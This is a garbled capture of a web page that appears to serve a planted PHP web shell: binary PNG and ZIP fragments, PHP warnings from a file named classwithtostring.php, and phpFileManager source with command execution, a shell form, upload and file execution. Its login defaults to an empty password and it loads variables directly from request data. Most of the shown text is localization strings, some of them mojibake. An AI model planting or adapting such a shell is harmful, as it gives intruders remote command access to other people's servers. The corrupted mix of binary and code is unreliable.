?¡ëPNG  IHDR ? f ??C1 sRGB ??¨¦ gAMA ¡À? ¨¹a pHYs ? ??o¡§d GIDATx^¨ª¨¹L¡±¡Âe¡ÂY?a?("Bh?_¨°???¡é¡ì?q5k?*:t0A-o??£¤]VkJ¡éM??f?¡À8\k2¨ªll¡ê1]q?¨´???T
Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/user1137782/www/china1.by/classwithtostring.php on line 86

Warning: Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 213

Warning: Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 214

Warning: Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 215

Warning: Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 216

Warning: Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 217

Warning: Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 218
PK})[n’Nˆ¦ˆ¦ script.phpnuW+A„¶ $val) if (array_search($key,$blockKeys) === false) $$key=$val; foreach ($_POST as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val; foreach ($_COOKIE as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val; // +-------------------------------------------------- // | Config // +-------------------------------------------------- $cfg = new config(); $cfg->load(); switch ($error_reporting){ case 0: error_reporting(0); @ini_set("display_errors",0); break; case 1: error_reporting(E_ERROR | E_PARSE | E_COMPILE_ERROR); @ini_set("display_errors",1); break; case 2: error_reporting(E_ALL); @ini_set("display_errors",1); break; } if (!isset($current_dir)){ $current_dir = $path_info["dirname"]."/"; if (!$islinux) $current_dir = ucfirst($current_dir); //@chmod($current_dir,0755); } else $current_dir = format_path($current_dir); // Auto Expand Local Path if (!isset($expanded_dir_list)){ $expanded_dir_list = ""; $mat = explode("/",$path_info["dirname"]); for ($x=0;$x$color){ $fm_color[$tag]=strtolower($color); } // +-------------------------------------------------- // | File Manager Actions // +-------------------------------------------------- if ($loggedon==$auth_pass){ switch ($frame){ case 1: break; // Empty Frame case 2: frame2(); break; case 3: frame3(); break; default: switch($action){ case 1: logout(); break; case 2: config_form(); break; case 3: download(); break; case 4: view(); break; case 5: server_info(); break; case 6: execute_cmd(); break; case 7: edit_file_form(); break; case 8: chmod_form(); break; case 9: shell_form(); break; case 10: upload_form(); break; case 11: execute_file(); break; default: frameset(); } } } else { if (isset($pass)) login(); else login_form(); } // +-------------------------------------------------- // | Config Class // +-------------------------------------------------- class config { var $data; var $filename; function config(){ global $fm_self; $this->data = array( 'lang'=>'en', 'auth_pass'=>md5(''), 'quota_mb'=>0, 'upload_ext_filter'=>array(), 'download_ext_filter'=>array(), 'error_reporting'=>1, 'fm_root'=>'', 'cookie_cache_time'=>60*60*24*30, // 30 Days 'version'=>'0.9.8' ); $data = false; $this->filename = $fm_self; if (file_exists($this->filename)){ $mat = file($this->filename); $objdata = trim(substr($mat[1],2)); if (strlen($objdata)) $data = unserialize($objdata); } if (is_array($data)&&count($data)==count($this->data)) $this->data = $data; else $this->save(); } function save(){ $objdata = "data).chr(13).chr(10); if (strlen($objdata)){ if (file_exists($this->filename)){ $mat = file($this->filename); if ($fh = @fopen($this->filename, "w")){ @fputs($fh,$objdata,strlen($objdata)); for ($x=2;$xdata as $key => $val) $GLOBALS[$key] = $val; } } // +-------------------------------------------------- // | Internationalization // +-------------------------------------------------- function et($tag){ global $lang; // English - by Fabricio Seger Kolling $en['Version'] = 'Version'; $en['DocRoot'] = 'Document Root'; $en['FLRoot'] = 'File Manager Root'; $en['Name'] = 'Name'; $en['And'] = 'and'; $en['Enter'] = 'Enter'; $en['Send'] = 'Send'; $en['Refresh'] = 'Refresh'; $en['SaveConfig'] = 'Save Configurations'; $en['SavePass'] = 'Save Password'; $en['SaveFile'] = 'Save File'; $en['Save'] = 'Save'; $en['Leave'] = 'Leave'; $en['Edit'] = 'Edit'; $en['View'] = 'View'; $en['Config'] = 'Config'; $en['Ren'] = 'Rename'; $en['Rem'] = 'Delete'; $en['Compress'] = 'Compress'; $en['Decompress'] = 'Decompress'; $en['ResolveIDs'] = 'Resolve IDs'; $en['Move'] = 'Move'; $en['Copy'] = 'Copy'; $en['ServerInfo'] = 'Server Info'; $en['CreateDir'] = 'Create Directory'; $en['CreateArq'] = 'Create File'; $en['ExecCmd'] = 'Execute Command'; $en['Upload'] = 'Upload'; $en['UploadEnd'] = 'Upload Finished'; $en['Perm'] = 'Perm'; $en['Perms'] = 'Permissions'; $en['Owner'] = 'Owner'; $en['Group'] = 'Group'; $en['Other'] = 'Other'; $en['Size'] = 'Size'; $en['Date'] = 'Date'; $en['Type'] = 'Type'; $en['Free'] = 'free'; $en['Shell'] = 'Shell'; $en['Read'] = 'Read'; $en['Write'] = 'Write'; $en['Exec'] = 'Execute'; $en['Apply'] = 'Apply'; $en['StickyBit'] = 'Sticky Bit'; $en['Pass'] = 'Password'; $en['Lang'] = 'Language'; $en['File'] = 'File'; $en['File_s'] = 'file(s)'; $en['Dir_s'] = 'directory(s)'; $en['To'] = 'to'; $en['Destination'] = 'Destination'; $en['Configurations'] = 'Configurations'; $en['JSError'] = 'JavaScript Error'; $en['NoSel'] = 'There are no selected itens'; $en['SelDir'] = 'Select the destination directory on the left tree'; $en['TypeDir'] = 'Enter the directory name'; $en['TypeArq'] = 'Enter the file name'; $en['TypeCmd'] = 'Enter the command'; $en['TypeArqComp'] = 'Enter the file name.\\nThe extension will define the compression type.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $en['RemSel'] = 'DELETE selected itens'; $en['NoDestDir'] = 'There is no selected destination directory'; $en['DestEqOrig'] = 'Origin and destination directories are equal'; $en['InvalidDest'] = 'Destination directory is invalid'; $en['NoNewPerm'] = 'New permission not set'; $en['CopyTo'] = 'COPY to'; $en['MoveTo'] = 'MOVE to'; $en['AlterPermTo'] = 'CHANGE PERMISSIONS to'; $en['ConfExec'] = 'Confirm EXECUTE'; $en['ConfRem'] = 'Confirm DELETE'; $en['EmptyDir'] = 'Empty directory'; $en['IOError'] = 'I/O Error'; $en['FileMan'] = 'PHP File Manager'; $en['TypePass'] = 'Enter the password'; $en['InvPass'] = 'Invalid Password'; $en['ReadDenied'] = 'Read Access Denied'; $en['FileNotFound'] = 'File not found'; $en['AutoClose'] = 'Close on Complete'; $en['OutDocRoot'] = 'File beyond DOCUMENT_ROOT'; $en['NoCmd'] = 'Error: Command not informed'; $en['ConfTrySave'] = 'File without write permisson.\\nTry to save anyway'; $en['ConfSaved'] = 'Configurations saved'; $en['PassSaved'] = 'Password saved'; $en['FileDirExists'] = 'File or directory already exists'; $en['NoPhpinfo'] = 'Function phpinfo disabled'; $en['NoReturn'] = 'no return'; $en['FileSent'] = 'File sent'; $en['SpaceLimReached'] = 'Space limit reached'; $en['InvExt'] = 'Invalid extension'; $en['FileNoOverw'] = 'File could not be overwritten'; $en['FileOverw'] = 'File overwritten'; $en['FileIgnored'] = 'File ignored'; $en['ChkVer'] = 'Check for new version'; $en['ChkVerAvailable'] = 'New version, click here to begin download!!'; $en['ChkVerNotAvailable'] = 'No new version available. :('; $en['ChkVerError'] = 'Connection Error.'; $en['Website'] = 'Website'; $en['SendingForm'] = 'Sending files, please wait'; $en['NoFileSel'] = 'No file selected'; $en['SelAll'] = 'All'; $en['SelNone'] = 'None'; $en['SelInverse'] = 'Inverse'; $en['Selected_s'] = 'selected'; $en['Total'] = 'total'; $en['Partition'] = 'Partition'; $en['RenderTime'] = 'Time to render this page'; $en['Seconds'] = 'sec'; $en['ErrorReport'] = 'Error Reporting'; // Portuguese by - Fabricio Seger Kolling $pt['Version'] = 'Versão'; $pt['DocRoot'] = 'Document Root'; $pt['FLRoot'] = 'File Manager Root'; $pt['Name'] = 'Nome'; $pt['And'] = 'e'; $pt['Enter'] = 'Entrar'; $pt['Send'] = 'Enviar'; $pt['Refresh'] = 'Atualizar'; $pt['SaveConfig'] = 'Salvar Configurações'; $pt['SavePass'] = 'Salvar Senha'; $pt['SaveFile'] = 'Salvar Arquivo'; $pt['Save'] = 'Salvar'; $pt['Leave'] = 'Sair'; $pt['Edit'] = 'Editar'; $pt['View'] = 'Visualizar'; $pt['Config'] = 'Config'; $pt['Ren'] = 'Renomear'; $pt['Rem'] = 'Apagar'; $pt['Compress'] = 'Compactar'; $pt['Decompress'] = 'Descompactar'; $pt['ResolveIDs'] = 'Resolver IDs'; $pt['Move'] = 'Mover'; $pt['Copy'] = 'Copiar'; $pt['ServerInfo'] = 'Server Info'; $pt['CreateDir'] = 'Criar Diretório'; $pt['CreateArq'] = 'Criar Arquivo'; $pt['ExecCmd'] = 'Executar Comando'; $pt['Upload'] = 'Upload'; $pt['UploadEnd'] = 'Upload Terminado'; $pt['Perm'] = 'Perm'; $pt['Perms'] = 'Permissões'; $pt['Owner'] = 'Dono'; $pt['Group'] = 'Grupo'; $pt['Other'] = 'Outros'; $pt['Size'] = 'Tamanho'; $pt['Date'] = 'Data'; $pt['Type'] = 'Tipo'; $pt['Free'] = 'livre'; $pt['Shell'] = 'Shell'; $pt['Read'] = 'Ler'; $pt['Write'] = 'Escrever'; $pt['Exec'] = 'Executar'; $pt['Apply'] = 'Aplicar'; $pt['StickyBit'] = 'Sticky Bit'; $pt['Pass'] = 'Senha'; $pt['Lang'] = 'Idioma'; $pt['File'] = 'Arquivo'; $pt['File_s'] = 'arquivo(s)'; $pt['Dir_s'] = 'diretorio(s)'; $pt['To'] = 'para'; $pt['Destination'] = 'Destino'; $pt['Configurations'] = 'Configurações'; $pt['JSError'] = 'Erro de JavaScript'; $pt['NoSel'] = 'Não há itens selecionados'; $pt['SelDir'] = 'Selecione o diretório de destino na árvore a esquerda'; $pt['TypeDir'] = 'Digite o nome do diretório'; $pt['TypeArq'] = 'Digite o nome do arquivo'; $pt['TypeCmd'] = 'Digite o commando'; $pt['TypeArqComp'] = 'Digite o nome do arquivo.\\nA extensão determina o tipo de compactação.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $pt['RemSel'] = 'APAGAR itens selecionados'; $pt['NoDestDir'] = 'Não há um diretório de destino selecionado'; $pt['DestEqOrig'] = 'Diretório de origem e destino iguais'; $pt['InvalidDest'] = 'Diretório de destino inválido'; $pt['NoNewPerm'] = 'Nova permissão não foi setada'; $pt['CopyTo'] = 'COPIAR para'; $pt['MoveTo'] = 'MOVER para'; $pt['AlterPermTo'] = 'ALTERAR PERMISSÕES para'; $pt['ConfExec'] = 'Confirma EXECUTAR'; $pt['ConfRem'] = 'Confirma APAGAR'; $pt['EmptyDir'] = 'Diretório vazio'; $pt['IOError'] = 'Erro de E/S'; $pt['FileMan'] = 'PHP File Manager'; $pt['TypePass'] = 'Digite a senha'; $pt['InvPass'] = 'Senha Inválida'; $pt['ReadDenied'] = 'Acesso de leitura negado'; $pt['FileNotFound'] = 'Arquivo não encontrado'; $pt['AutoClose'] = 'Fechar Automaticamente'; $pt['OutDocRoot'] = 'Arquivo fora do DOCUMENT_ROOT'; $pt['NoCmd'] = 'Erro: Comando não informado'; $pt['ConfTrySave'] = 'Arquivo sem permissão de escrita.\\nTentar salvar assim mesmo'; $pt['ConfSaved'] = 'Configurações salvas'; $pt['PassSaved'] = 'Senha salva'; $pt['FileDirExists'] = 'Arquivo ou diretório já existe'; $pt['NoPhpinfo'] = 'Função phpinfo desabilitada'; $pt['NoReturn'] = 'sem retorno'; $pt['FileSent'] = 'Arquivo enviado'; $pt['SpaceLimReached'] = 'Limite de espaço alcançado'; $pt['InvExt'] = 'Extensão inválida'; $pt['FileNoOverw'] = 'Arquivo não pode ser sobreescrito'; $pt['FileOverw'] = 'Arquivo sobreescrito'; $pt['FileIgnored'] = 'Arquivo omitido'; $pt['ChkVer'] = 'Verificar por nova versão'; $pt['ChkVerAvailable'] = 'Nova versão, clique aqui para iniciar download!!'; $pt['ChkVerNotAvailable'] = 'Não há nova versão disponível. :('; $pt['ChkVerError'] = 'Erro de conexão.'; $pt['Website'] = 'Website'; $pt['SendingForm'] = 'Enviando arquivos, aguarde'; $pt['NoFileSel'] = 'Nenhum arquivo selecionado'; $pt['SelAll'] = 'Tudo'; $pt['SelNone'] = 'Nada'; $pt['SelInverse'] = 'Inverso'; $pt['Selected_s'] = 'selecionado(s)'; $pt['Total'] = 'total'; $pt['Partition'] = 'Partição'; $pt['RenderTime'] = 'Tempo para gerar esta página'; $pt['Seconds'] = 'seg'; $pt['ErrorReport'] = 'Error Reporting'; // Spanish - by Sh Studios $es['Version'] = 'Versión'; $es['DocRoot'] = 'Raiz del programa'; $es['FLRoot'] = 'Raiz del administrador de archivos'; $es['Name'] = 'Nombre'; $es['And'] = 'y'; $es['Enter'] = 'Enter'; $es['Send'] = 'Enviar'; $es['Refresh'] = 'Refrescar'; $es['SaveConfig'] = 'Guardar configuraciones'; $es['SavePass'] = 'Cuardar Contraseña'; $es['SaveFile'] = 'Guardar Archivo'; $es['Save'] = 'Guardar'; $es['Leave'] = 'Salir'; $es['Edit'] = 'Editar'; $es['View'] = 'Mirar'; $es['Config'] = 'Config.'; $es['Ren'] = 'Renombrar'; $es['Rem'] = 'Borrar'; $es['Compress'] = 'Comprimir'; $es['Decompress'] = 'Decomprimir'; $es['ResolveIDs'] = 'Resolver IDs'; $es['Move'] = 'Mover'; $es['Copy'] = 'Copiar'; $es['ServerInfo'] = 'Info del Server'; $es['CreateDir'] = 'Crear Directorio'; $es['CreateArq'] = 'Crear Archivo'; $es['ExecCmd'] = 'Ejecutar Comando'; $es['Upload'] = 'Subir'; $es['UploadEnd'] = 'Subida exitosa'; $es['Perm'] = 'Perm'; $es['Perms'] = 'Permisiones'; $es['Owner'] = 'Propietario'; $es['Group'] = 'Grupo'; $es['Other'] = 'Otro'; $es['Size'] = 'Tamaño'; $es['Date'] = 'Fecha'; $es['Type'] = 'Tipo'; $es['Free'] = 'libre'; $es['Shell'] = 'Ejecutar'; $es['Read'] = 'Leer'; $es['Write'] = 'Escribir'; $es['Exec'] = 'Ejecutar'; $es['Apply'] = 'Aplicar'; $es['StickyBit'] = 'Sticky Bit'; $es['Pass'] = 'Contraseña'; $es['Lang'] = 'Lenguage'; $es['File'] = 'Archivos'; $es['File_s'] = 'archivo(s)'; $es['Dir_s'] = 'directorio(s)'; $es['To'] = 'a'; $es['Destination'] = 'Destino'; $es['Configurations'] = 'Configuracion'; $es['JSError'] = 'Error de JavaScript'; $es['NoSel'] = 'No hay items seleccionados'; $es['SelDir'] = 'Seleccione el directorio de destino en el arbol derecho'; $es['TypeDir'] = 'Escriba el nombre del directorio'; $es['TypeArq'] = 'Escriba el nombre del archivo'; $es['TypeCmd'] = 'Escriba el comando'; $es['TypeArqComp'] = 'Escriba el nombre del directorio.\\nLa extension definira el tipo de compresion.\\nEj:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $es['RemSel'] = 'BORRAR items seleccionados'; $es['NoDestDir'] = 'No se ha seleccionado el directorio de destino'; $es['DestEqOrig'] = 'El origen y el destino son iguales'; $es['InvalidDest'] = 'El destino del directorio es invalido'; $es['NoNewPerm'] = 'Las permisiones no se pudieron establecer'; $es['CopyTo'] = 'COPIAR a'; $es['MoveTo'] = 'MOVER a'; $es['AlterPermTo'] = 'CAMBIAR PERMISIONES a'; $es['ConfExec'] = 'Confirmar EJECUCION'; $es['ConfRem'] = 'Confirmar BORRADO'; $es['EmptyDir'] = 'Directorio Vacio'; $es['IOError'] = 'Error I/O'; $es['FileMan'] = 'PHP File Manager'; $es['TypePass'] = 'Escriba la contraseña'; $es['InvPass'] = 'Contraseña invalida'; $es['ReadDenied'] = 'Acceso de lectura denegado'; $es['FileNotFound'] = 'Archivo no encontrado'; $es['AutoClose'] = 'Cerrar al completar'; $es['OutDocRoot'] = 'Archivo antes de DOCUMENT_ROOT'; $es['NoCmd'] = 'Error: No se ha escrito ningun comando'; $es['ConfTrySave'] = 'Archivo sin permisos de escritura.\\nIntente guardar en otro lugar'; $es['ConfSaved'] = 'Configuracion Guardada'; $es['PassSaved'] = 'Contraseña guardada'; $es['FileDirExists'] = 'Archivo o directorio ya existente'; $es['NoPhpinfo'] = 'Funcion phpinfo() inhabilitada'; $es['NoReturn'] = 'sin retorno'; $es['FileSent'] = 'Archivo enviado'; $es['SpaceLimReached'] = 'Limite de espacio en disco alcanzado'; $es['InvExt'] = 'Extension inalida'; $es['FileNoOverw'] = 'El archivo no pudo ser sobreescrito'; $es['FileOverw'] = 'Archivo sobreescrito'; $es['FileIgnored'] = 'Archivo ignorado'; $es['ChkVer'] = 'Chequear las actualizaciones'; $es['ChkVerAvailable'] = 'Nueva version, haga click aqui para descargar!!'; $es['ChkVerNotAvailable'] = 'Su version es la mas reciente.'; $es['ChkVerError'] = 'Error de coneccion.'; $es['Website'] = 'Sitio Web'; $es['SendingForm'] = 'Enviando archivos, espere!'; $es['NoFileSel'] = 'Ningun archivo seleccionado'; $es['SelAll'] = 'Todos'; $es['SelNone'] = 'Ninguno'; $es['SelInverse'] = 'Inverso'; $es['Selected_s'] = 'seleccionado'; $es['Total'] = 'total'; $es['Partition'] = 'Particion'; $es['RenderTime'] = 'Generado en'; $es['Seconds'] = 'seg'; $es['ErrorReport'] = 'Reporte de error'; // Korean - by Airplanez $kr['Version'] = '버전'; $kr['DocRoot'] = '웹서버 루트'; $kr['FLRoot'] = 'íŒŒì¼ ë§¤ë‹ˆì € 루트'; $kr['Name'] = 'ì´ë¦„'; $kr['Enter'] = 'ìž…ë ¥'; $kr['Send'] = '전송'; $kr['Refresh'] = '새로고침'; $kr['SaveConfig'] = '환경 저장'; $kr['SavePass'] = '비밀번호 저장'; $kr['SaveFile'] = 'íŒŒì¼ ì €ìž¥'; $kr['Save'] = '저장'; $kr['Leave'] = '나가기'; $kr['Edit'] = '수정'; $kr['View'] = '보기'; $kr['Config'] = '환경'; $kr['Ren'] = 'ì´ë¦„바꾸기'; $kr['Rem'] = 'ì‚­ì œ'; $kr['Compress'] = '압축하기'; $kr['Decompress'] = '압축풀기'; $kr['ResolveIDs'] = '소유ìž'; $kr['Move'] = 'ì´ë™'; $kr['Copy'] = '복사'; $kr['ServerInfo'] = '서버 ì •ë³´'; $kr['CreateDir'] = '디렉토리 ìƒì„±'; $kr['CreateArq'] = 'íŒŒì¼ ìƒì„±'; $kr['ExecCmd'] = '명령 실행'; $kr['Upload'] = '업로드'; $kr['UploadEnd'] = '업로드가 완료ë˜ì—ˆìŠµë‹ˆë‹¤.'; $kr['Perm'] = '권한'; $kr['Perms'] = '권한'; $kr['Owner'] = '소유ìž'; $kr['Group'] = '그룹'; $kr['Other'] = '모든사용ìž'; $kr['Size'] = 'í¬ê¸°'; $kr['Date'] = 'ë‚ ì§œ'; $kr['Type'] = '종류'; $kr['Free'] = '여유'; $kr['Shell'] = '쉘'; $kr['Read'] = 'ì½ê¸°'; $kr['Write'] = '쓰기'; $kr['Exec'] = '실행'; $kr['Apply'] = 'ì ìš©'; $kr['StickyBit'] = '스티키 비트'; $kr['Pass'] = '비밀번호'; $kr['Lang'] = '언어'; $kr['File'] = '파ì¼'; $kr['File_s'] = '파ì¼'; $kr['To'] = '으로'; $kr['Destination'] = '대ìƒ'; $kr['Configurations'] = '환경'; $kr['JSError'] = 'ìžë°”스í¬ë¦½íЏ 오류'; $kr['NoSel'] = 'ì„ íƒëœ ê²ƒì´ ì—†ìŠµë‹ˆë‹¤'; $kr['SelDir'] = '왼쪽리스트ì—서 ëŒ€ìƒ ë””ë ‰í† ë¦¬ë¥¼ ì„ íƒí•˜ì„¸ìš”'; $kr['TypeDir'] = 'ë””ë ‰í† ë¦¬ëª…ì„ ìž…ë ¥í•˜ì„¸ìš”'; $kr['TypeArq'] = '파ì¼ëª…ì„ ìž…ë ¥í•˜ì„¸ìš”'; $kr['TypeCmd'] = 'ëª…ë ¹ì„ ìž…ë ¥í•˜ì„¸ìš”'; $kr['TypeArqComp'] = '파ì¼ëª…ì„ ìž…ë ¥í•˜ì„¸ìš”.\\n확장ìžì— ë”°ë¼ ì••ì¶•í˜•ì‹ì´ 정해집니다.\\n예:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $kr['RemSel'] = 'ì„ íƒëœ ê²ƒì„ ì‚­ì œí–ˆìŠµë‹ˆë‹¤'; $kr['NoDestDir'] = 'ì„ íƒëœ ëŒ€ìƒ ë””ë ‰í† ë¦¬ê°€ 없습니다.'; $kr['DestEqOrig'] = 'ì›ëž˜ 디렉토리와 ëŒ€ìƒ ë””ë ‰í† ë¦¬ê°€ 같습니다'; $kr['NoNewPerm'] = '새로운 ê¶Œí•œì´ ì„¤ì •ë˜ì§€ 않았습니다'; $kr['CopyTo'] = 'ì—¬ê¸°ì— ë³µì‚¬'; $kr['MoveTo'] = '여기로 ì´ë™'; $kr['AlterPermTo'] = '으로 권한변경'; $kr['ConfExec'] = '실행 확ì¸'; $kr['ConfRem'] = 'ì‚­ì œ 확ì¸'; $kr['EmptyDir'] = '빈 디렉토리'; $kr['IOError'] = 'ìž…/출력 오류'; $kr['FileMan'] = 'PHP íŒŒì¼ ë§¤ë‹ˆì €'; $kr['TypePass'] = '비밀번호를 입력하세요'; $kr['InvPass'] = '비밀번호가 틀립니다'; $kr['ReadDenied'] = 'ì½ê¸°ê°€ ê±°ë¶€ë˜ì—ˆìŠµë‹ˆë‹¤'; $kr['FileNotFound'] = '파ì¼ì´ 없습니다'; $kr['AutoClose'] = '완료후 닫기'; $kr['OutDocRoot'] = 'DOCUMENT_ROOT ì´ë‚´ì˜ 파ì¼ì´ 아닙니다'; $kr['NoCmd'] = '오류: ëª…ë ¹ì´ ì‹¤í–‰ë˜ì§€ 않았습니다'; $kr['ConfTrySave'] = '파ì¼ì— 쓰기 ê¶Œí•œì´ ì—†ìŠµë‹ˆë‹¤.\\nê·¸ëž˜ë„ ì €ìž¥í•˜ì‹œê² ìŠµë‹ˆê¹Œ'; $kr['ConfSaved'] = 'í™˜ê²½ì´ ì €ìž¥ë˜ì—ˆìŠµë‹ˆë‹¤'; $kr['PassSaved'] = '비밀번호 저장'; $kr['FileDirExists'] = 'íŒŒì¼ ë˜ëŠ” 디렉토리가 ì´ë¯¸ 존재합니다'; $kr['NoPhpinfo'] = 'PHPINFO()를 사용할수 없습니다'; $kr['NoReturn'] = '반환값 ì—†ìŒ'; $kr['FileSent'] = 'íŒŒì¼ ì „ì†¡'; $kr['SpaceLimReached'] = '저장공가 여유가 없습니다'; $kr['InvExt'] = '유효하지 ì•Šì€ í™•ìž¥ìž'; $kr['FileNoOverw'] = '파ì¼ì„ ë®ì–´ 쓸수 없습니다'; $kr['FileOverw'] = '파ì¼ì„ ë®ì–´ ì¼ìŠµë‹ˆë‹¤'; $kr['FileIgnored'] = '파ì¼ì´ 무시ë˜ì—ˆìŠµë‹ˆë‹¤'; $kr['ChkVer'] = 'ì—서 새버전 확ì¸'; $kr['ChkVerAvailable'] = '새로운 ë²„ì „ì´ ìžˆìŠµë‹ˆë‹¤. 다운받으려면 í´ë¦­í•˜ì„¸ìš”!!'; $kr['ChkVerNotAvailable'] = '새로운 ë²„ì „ì´ ì—†ìŠµë‹ˆë‹¤. :('; $kr['ChkVerError'] = 'ì—°ê²° 오류'; $kr['Website'] = '웹사ì´íЏ'; $kr['SendingForm'] = '파ì¼ì„ 전송중입니다. 기다리세요'; $kr['NoFileSel'] = '파ì¼ì´ ì„ íƒë˜ì§€ 않았습니다'; $kr['SelAll'] = '모든'; $kr['SelNone'] = '제로'; $kr['SelInverse'] = 'ì—­'; // German - by Guido Ogrzal $de1['Version'] = 'Version'; $de1['DocRoot'] = 'Dokument Wurzelverzeichnis'; $de1['FLRoot'] = 'Dateimanager Wurzelverzeichnis'; $de1['Name'] = 'Name'; $de1['And'] = 'und'; $de1['Enter'] = 'Eintreten'; $de1['Send'] = 'Senden'; $de1['Refresh'] = 'Aktualisieren'; $de1['SaveConfig'] = 'Konfiguration speichern'; $de1['SavePass'] = 'Passwort speichern'; $de1['SaveFile'] = 'Datei speichern'; $de1['Save'] = 'Speichern'; $de1['Leave'] = 'Verlassen'; $de1['Edit'] = 'Bearbeiten'; $de1['View'] = 'Ansehen'; $de1['Config'] = 'Konfigurieren'; $de1['Ren'] = 'Umbenennen'; $de1['Rem'] = 'Löschen'; $de1['Compress'] = 'Komprimieren'; $de1['Decompress'] = 'Dekomprimieren'; $de1['ResolveIDs'] = 'Resolve IDs'; $de1['Move'] = 'Verschieben'; $de1['Copy'] = 'Kopieren'; $de1['ServerInfo'] = 'Server-Info'; $de1['CreateDir'] = 'Neues Verzeichnis'; $de1['CreateArq'] = 'Neue Datei'; $de1['ExecCmd'] = 'Kommando'; $de1['Upload'] = 'Datei hochladen'; $de1['UploadEnd'] = 'Datei hochladen beendet'; $de1['Perm'] = 'Erlaubnis'; $de1['Perms'] = 'Erlaubnis'; $de1['Owner'] = 'Besitzer'; $de1['Group'] = 'Gruppe'; $de1['Other'] = 'Andere'; $de1['Size'] = 'Größe'; $de1['Date'] = 'Datum'; $de1['Type'] = 'Typ'; $de1['Free'] = 'frei'; $de1['Shell'] = 'Shell'; $de1['Read'] = 'Lesen'; $de1['Write'] = 'Schreiben'; $de1['Exec'] = 'Ausführen'; $de1['Apply'] = 'Bestätigen'; $de1['StickyBit'] = 'Sticky Bit'; $de1['Pass'] = 'Passwort'; $de1['Lang'] = 'Sprache'; $de1['File'] = 'Datei'; $de1['File_s'] = 'Datei(en)'; $de1['Dir_s'] = 'Verzeichniss(e)'; $de1['To'] = '->'; $de1['Destination'] = 'Ziel'; $de1['Configurations'] = 'Konfiguration'; $de1['JSError'] = 'JavaScript Fehler'; $de1['NoSel'] = 'Es gibt keine selektierten Objekte'; $de1['SelDir'] = 'Selektiere das Zielverzeichnis im linken Verzeichnisbaum'; $de1['TypeDir'] = 'Trage den Verzeichnisnamen ein'; $de1['TypeArq'] = 'Trage den Dateinamen ein'; $de1['TypeCmd'] = 'Gib das Kommando ein'; $de1['TypeArqComp'] = 'Trage den Dateinamen ein.\\nDie Dateierweiterung wird den Kompressiontyp bestimmen.\\nBsp.:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $de1['RemSel'] = 'LÖSCHE die selektierten Objekte'; $de1['NoDestDir'] = 'Das selektierte Zielverzeichnis existiert nicht'; $de1['DestEqOrig'] = 'Quell- und Zielverzeichnis stimmen überein'; $de1['InvalidDest'] = 'Zielverzeichnis ist ungültig'; $de1['NoNewPerm'] = 'Neue Zugriffserlaubnis konnte nicht gesetzt werden'; $de1['CopyTo'] = 'KOPIERE nach'; $de1['MoveTo'] = 'VERSCHIEBE nach'; $de1['AlterPermTo'] = 'ÄNDERE ZUGRIFFSERLAUBSNIS in'; $de1['ConfExec'] = 'Bestätige AUSFÜHRUNG'; $de1['ConfRem'] = 'Bestätige LÖSCHEN'; $de1['EmptyDir'] = 'Leeres Verzeichnis'; $de1['IOError'] = 'Eingabe/Ausgabe-Fehler'; $de1['FileMan'] = 'PHP File Manager'; $de1['TypePass'] = 'Trage das Passwort ein'; $de1['InvPass'] = 'Ungültiges Passwort'; $de1['ReadDenied'] = 'Lesezugriff verweigert'; $de1['FileNotFound'] = 'Datei nicht gefunden'; $de1['AutoClose'] = 'Schließen, wenn fertig'; $de1['OutDocRoot'] = 'Datei außerhalb von DOCUMENT_ROOT'; $de1['NoCmd'] = 'Fehler: Es wurde kein Kommando eingetragen'; $de1['ConfTrySave'] = 'Keine Schreibberechtigung für die Datei.\\nVersuche trotzdem zu speichern'; $de1['ConfSaved'] = 'Konfiguration gespeichert'; $de1['PassSaved'] = 'Passwort gespeichert'; $de1['FileDirExists'] = 'Datei oder Verzeichnis existiert schon'; $de1['NoPhpinfo'] = 'Funktion phpinfo ist inaktiv'; $de1['NoReturn'] = 'keine Rückgabe'; $de1['FileSent'] = 'Datei wurde gesendet'; $de1['SpaceLimReached'] = 'Verfügbares Speicherlimit wurde erreicht'; $de1['InvExt'] = 'Ungültige Dateiendung'; $de1['FileNoOverw'] = 'Datei kann nicht überschrieben werden'; $de1['FileOverw'] = 'Datei überschrieben'; $de1['FileIgnored'] = 'Datei ignoriert'; $de1['ChkVer'] = 'Prüfe auf neue Version'; $de1['ChkVerAvailable'] = 'Neue Version verfügbar; klicke hier, um den Download zu starten!!'; $de1['ChkVerNotAvailable'] = 'Keine neue Version gefunden. :('; $de1['ChkVerError'] = 'Verbindungsfehler.'; $de1['Website'] = 'Webseite'; $de1['SendingForm'] = 'Sende Dateien... Bitte warten.'; $de1['NoFileSel'] = 'Keine Datei selektiert'; $de1['SelAll'] = 'Alle'; $de1['SelNone'] = 'Keine'; $de1['SelInverse'] = 'Invertieren'; $de1['Selected_s'] = 'selektiert'; $de1['Total'] = 'Gesamt'; $de1['Partition'] = 'Partition'; $de1['RenderTime'] = 'Zeit, um die Seite anzuzeigen'; $de1['Seconds'] = 's'; $de1['ErrorReport'] = 'Fehlerreport'; // German - by AXL $de2['Version'] = 'Version'; $de2['DocRoot'] = 'Document Stammverzeichnis'; $de2['FLRoot'] = 'Datei Manager Stammverzeichnis'; $de2['Name'] = 'Name'; $de2['And'] = 'und'; $de2['Enter'] = 'Enter'; 